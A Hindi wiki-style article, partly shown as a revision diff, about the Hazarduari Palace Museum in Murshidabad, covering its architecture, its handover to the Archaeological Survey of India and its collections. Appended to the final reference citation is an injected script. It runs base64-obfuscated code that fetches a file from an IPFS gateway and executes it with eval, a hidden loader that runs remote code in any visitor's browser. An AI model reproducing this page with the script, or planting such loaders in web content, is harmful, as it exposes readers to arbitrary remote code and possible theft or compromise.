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==विशेषताएँ==
 
==विशेषताएँ==
* इस संग्रहालय को प्रसिद्ध वास्‍तुकार मैकलिओड डंकन द्वारा ग्रीक (डोरिक) शैली का अनुसरण करते हुए नवाब नाज़िम हुमायूँ जहॉं (1824-1838 ई.) के शासन काल में बनाया था। इस महल का नाम हज़ारों से भी अधिक वास्‍तविक और आभासी द्वारों और इसमें मौजूद विशाल गलियारों के कारण पड़ा।
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* इस संग्रहालय को प्रसिद्ध वास्‍तुकार मैकलिओड डंकन द्वारा ग्रीक (डोरिक) शैली का अनुसरण करते हुए नवाब नाज़िम हुमायूँ जहाँ (1824-1838 ई.) के शासन काल में बनाया था। इस महल का नाम हज़ारों से भी अधिक वास्‍तविक और आभासी द्वारों और इसमें मौजूद विशाल गलियारों के कारण पड़ा।
 
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* यह संग्रहालय भारतीय पुरातत्‍व सर्वेक्षण का सबसे बड़ा स्‍थल संग्रहालय माना जाता है और इसमें बीस दीर्घाएं प्रदर्शित हैं जिनमें 4742 पुरावस्‍तुएं मौजूद हैं जिनमें से जनता के लिए 1034 पुरावस्‍तुएं प्रदर्शित की गई हैं।
 
* यह संग्रहालय भारतीय पुरातत्‍व सर्वेक्षण का सबसे बड़ा स्‍थल संग्रहालय माना जाता है और इसमें बीस दीर्घाएं प्रदर्शित हैं जिनमें 4742 पुरावस्‍तुएं मौजूद हैं जिनमें से जनता के लिए 1034 पुरावस्‍तुएं प्रदर्शित की गई हैं।

09:26, 7 फ़रवरी 2015 के समय का अवतरण

हज़ारद्वारी महल संग्रहालय
पुरातत्वीय संग्रहालय, मुर्शिदाबाद
विवरण हज़ारद्वारी महल संग्रहालय बंगाल की भूतपूर्व राजधानी मुर्शिदाबाद के हज़ारद्वारी पैलेस में स्‍थित है। मुर्शिदाबाद सड़क मार्ग से कोलकाता से 219 किलोमीटर की दूरी पर स्‍थित है।
राज्य पश्चिम बंगाल
नगर मुर्शिदाबाद
निर्माण हज़ारद्वारी पैलेस का निर्माण वर्ष 1837 में मीर ज़ाफ़र के उत्तराधिकारी नवाब नाज़िम हुमायूँ जहाँ ने कराया था।
Map-icon.gif गूगल मानचित्र
अवकाश शुक्रवार
अन्य जानकारी इस महल का नाम हज़ारों से भी अधिक वास्‍तविक और आभासी द्वारों और इसमें मौजूद विशाल गलियारों के कारण पड़ा।
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हज़ारद्वारी महल संग्रहालय बंगाल की भूतपूर्व राजधानी मुर्शिदाबाद के हज़ारद्वारी पैलेस में स्‍थित है। मुर्शिदाबाद सड़क मार्ग से कोलकाता से 219 किलोमीटर की दूरी पर स्‍थित है।

विशेषताएँ

  • इस संग्रहालय को प्रसिद्ध वास्‍तुकार मैकलिओड डंकन द्वारा ग्रीक (डोरिक) शैली का अनुसरण करते हुए नवाब नाज़िम हुमायूँ जहाँ (1824-1838 ई.) के शासन काल में बनाया था। इस महल का नाम हज़ारों से भी अधिक वास्‍तविक और आभासी द्वारों और इसमें मौजूद विशाल गलियारों के कारण पड़ा।
  • 1985 में इस महल के बेहतर परिरक्षण के लिए भारतीय पुरातत्‍व सर्वेक्षण को सौंप दिया गया।
  • यह संग्रहालय भारतीय पुरातत्‍व सर्वेक्षण का सबसे बड़ा स्‍थल संग्रहालय माना जाता है और इसमें बीस दीर्घाएं प्रदर्शित हैं जिनमें 4742 पुरावस्‍तुएं मौजूद हैं जिनमें से जनता के लिए 1034 पुरावस्‍तुएं प्रदर्शित की गई हैं।
  • पुरावस्‍तुओें के संग्रह में विभिन्‍न प्रकार के हथियार, डच, फ्रांसिसी और इतालवी कलाकारों द्वारा बनाए गए तैल चित्र, संगमरमर की मूर्तियॉं, धातु की वस्‍तुएं, चीनी मिट्टी और गचकारी की मूर्तियॉं, फरमान, विरल पुस्‍तकें, पुराने मानचित्र, पाण्‍डुलिपियाँ, भू-राजस्‍व के रिकार्ड, पालकी शामिल हैं जिनमें से अधिकतर 18वीं और 19वीं शताब्‍दियों से सम्‍बंधित हैं।[1]


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टीका टिप्पणी और संदर्भ

  1. संग्रहालय-मुर्शिदाबाद (हिन्दी) भारतीय पुरातत्व सर्वेक्षण। अभिगमन तिथि: 7 फ़रवरी, 2015।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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